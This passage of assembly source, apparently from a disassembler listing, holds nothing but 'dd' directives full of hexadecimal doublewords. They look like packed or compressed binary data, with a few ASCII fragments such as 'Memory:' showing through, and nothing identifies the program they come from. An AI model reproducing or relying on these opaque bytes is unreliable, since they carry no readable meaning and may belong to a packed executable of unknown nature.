		dd 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h,	3BB072h
		dd 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh
		dd 10E494A1h, 802E0CAh,	0D872DC64h, 0D0464139h,	23CC5E80h
		dd 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh
		dd 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h,	187BD521h
		dd 4914DC05h, 57780800h, 64487710h, 5387000Ch, 517F90FDh
		dd 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h, 0B1465080h
		dd 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h
		dd 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh
		dd 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h
		dd 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h
		dd 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h
		dd 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h
		dd 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h
		dd 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h,	0CF1CCEh
		dd 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h,	0B923B822h
		dd 0C8BA91h, 72BCE4BBh,	1CBE39BDh, 12A0BF40h, 9BA122h
		dd 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h
		dd 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh
		dd 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h
		dd 805D883Ah, 8B530A7h,	1C8A1020h, 0C0685CD4h, 817E2423h
		dd 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h,	0C015E2h
		dd 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch
		dd 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh
		dd 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h
		dd 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h,	817E5F50h
		dd 0F0756020h, 10165209h, 35010E65h, 47F658A8h,	79043CD0h
		dd 0F01F642h, 76694445h, 415A7900h, 90016FBBh, 585E60C1h
		dd 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h, 7700C820h
		dd 8210C92h, 4076014Fh,	6F6C66AFh, 2B74F44Dh, 0D95CB41Ch
		dd 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h,	0F38F7AD5h
		dd 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h
		dd 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch
		dd 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h,	0EE3A5964h
		dd 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h,	81854A36h
		dd 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h
		dd 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h
		dd 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h
		dd 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h
		dd 1656C8Bh, 503890E4h,	0C084CA64h, 0E803B0Ah, 74005345h
		dd 6B632661h, 67905081h, 4064A294h, 1109C93Bh, 20747003h
		dd 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h
		dd 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h,	0BD59C02Dh
		dd 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h,	8462030Eh
		dd 738572D9h, 490BDE8h,	839C6655h, 41491F0Ah, 4365D2ACh
		dd 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh
		dd 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh
		dd 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h
		dd 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h
		dd 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh
		dd 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h,	4BF8FC67h
		dd 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h
		dd 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h,	0F3C9003Eh
		dd 12A74A6h, 95FF5E8Ah,	70627852h, 770F7A94h, 0C07D4855h
		dd 0A120DC7Fh
		dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h,	6844BDD8h
		dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
		dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
		dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
		dd 12F3B91h, 3822F5D5h,	402E1004h, 0C4F278E2h, 3A3F9400h
		dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
		dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
		dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h,	0AFE8D490h
		dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh
		dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh
		dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h
		dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h
		dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h
		dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh,	0C73F692Fh
		dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh
		dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h
		dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h
		dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h
		dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h
		dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h,	34D6373Bh
		dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h
		dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
		dd 73FC5FCh, 27895657h,	7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
		dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
		dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
		dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
		dd 15A5F25h, 802AF4D3h,	0D0C6AACAh, 67003164h, 21D20BFFh
		dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
		dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch,	95543200h
		dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
		dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
		dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
		dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
		dd 0FBF2F87Dh, 761F0Eh,	0AB9BBB05h, 944A8C26h, 8E7B9000h
		dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
		dd 20A864FFh, 6AA028Bh,	0F0CF22CBh, 61F056C3h, 6C0524B1h
		dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh,	60537BE2h
		dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
		dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
		dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
		dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h,	575302Dh
		dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h,	0F8C825D8h
		dd 1DFEB31h, 22BBE414h,	0C42E6440h, 0B40F2919h,	9C2649h
		dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
		dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
		dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh,	0C6004454h
		dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
		dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h,	12AC0B6h
		dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
		dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch,	4F1F0086h
		dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
		dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h,	0F4406Dh
		dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
		dd 2102C604h, 93C2564h,	34D08E7Bh, 6919C066h, 2C0111BEh
		dd 3FE87Dh, 0B955D39Dh,	0DC074D87h, 97D5D129h, 5D8DA330h
		dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh,	0B0C8D074h
		dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh,	1E575243h
		dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
		dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
		dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
		dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
		dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
		dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
		dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
		dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
		dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
		dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
		dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
		dd 6AD6B7h, 0EBCA5D5Fh,	7C95170Bh, 9053400h, 0EABA74F6h
		dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
		dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
		dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h,	6E98E103h
		dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
		dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
		dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
		dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
		dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh,	0D9AB50C3h
		dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
		dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h,	0E8D7F830h
		dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
		dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
		dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
		dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
		dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
		dd 437D7Ch, 0DDDB0330h,	645157B2h, 62722F00h, 0A6B4BA7h
		dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
		dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
		dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
		dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
		dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
		dd 47203Ch, 0F841F940h,	0E8FE0581h, 3AD48200h, 6939FFB8h
		dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
		dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
		dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
		dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
		dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
		dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
		dd 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
		dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h,	30070E7Eh
		dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
		dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
		dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
		dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah,	7791F073h
		dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
		dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
		dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah
		dd 5BB35F4h, 8C063757h,	902BC0F0h, 7034612h, 497D834Ah
		dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h
		dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h
		dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh
		dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch
		dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h,	5000CB2Ch
		dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah
		dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh
		dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh
		dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh
		dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h,	0BB019148h
		dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh,	28E7A65Ch
		dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
		dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
		dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
		dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h,	0D79E7323h
		dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
		dd 0F8F6EBh, 3260B63Eh,	50895951h, 0D09F0300h, 64EBDFDBh
		dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
		dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
		dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
		dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h,	94613Dh
		dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
		dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
		dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
		dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h,	4B6F7181h
		dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
		dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
		dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
		dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
		dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h,	0D0112CF2h
		dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h,	48901h
		dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h,	7CD5B4ACh
		dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
		dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h,	0C80720E9h
		dd 54046A00h, 37503056h, 0DF442568h, 16245500h,	420099BAh
		dd 90A4D4B8h, 7F4ACC7h,	4A045698h, 0FB8069FAh, 80102903h
		dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
		dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
		dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
		dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
		dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
		dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
		dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
		dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
		dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh,	8DC0C084h
		dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh,	1F783352h
		dd 55007EEBh, 4882694h,	7121179h, 0A2C314A4h, 0FA56F003h
		dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
		dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
		dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
		dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
		dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h,	0BB3A00FBh
		dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
		dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
		dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h,	4F6100B5h
		dd 95A0056Ah, 90014EBh,	4A339D2Bh, 20CCC5h, 0E85CB227h
		dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
		dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
		dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
		dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
		dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
		dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
		dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h,	0C0509DA5h
		dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
		dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h,	2E01A6h
		dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h,	0D0A10013h
		dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
		dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h,	10680013h
		dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h,	98FAD3h
		dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h,	0DDDB0184h
		dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h,	5212C3Dh
		dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
		dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
		dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
		dd 9A7E6B7h, 78800498h,	0BE00AA74h, 691B6693h, 168D0034h
		dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h,	331720F3h
		dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
		dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
		dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
		dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
		dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah,	600F060Bh
		dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
		dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
		dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
		dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
		dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
		dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
		dd 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
		dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h,	2B30487h
		dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
		dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
		dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h,	2EAD812h
		dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h,	589C88h
		dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
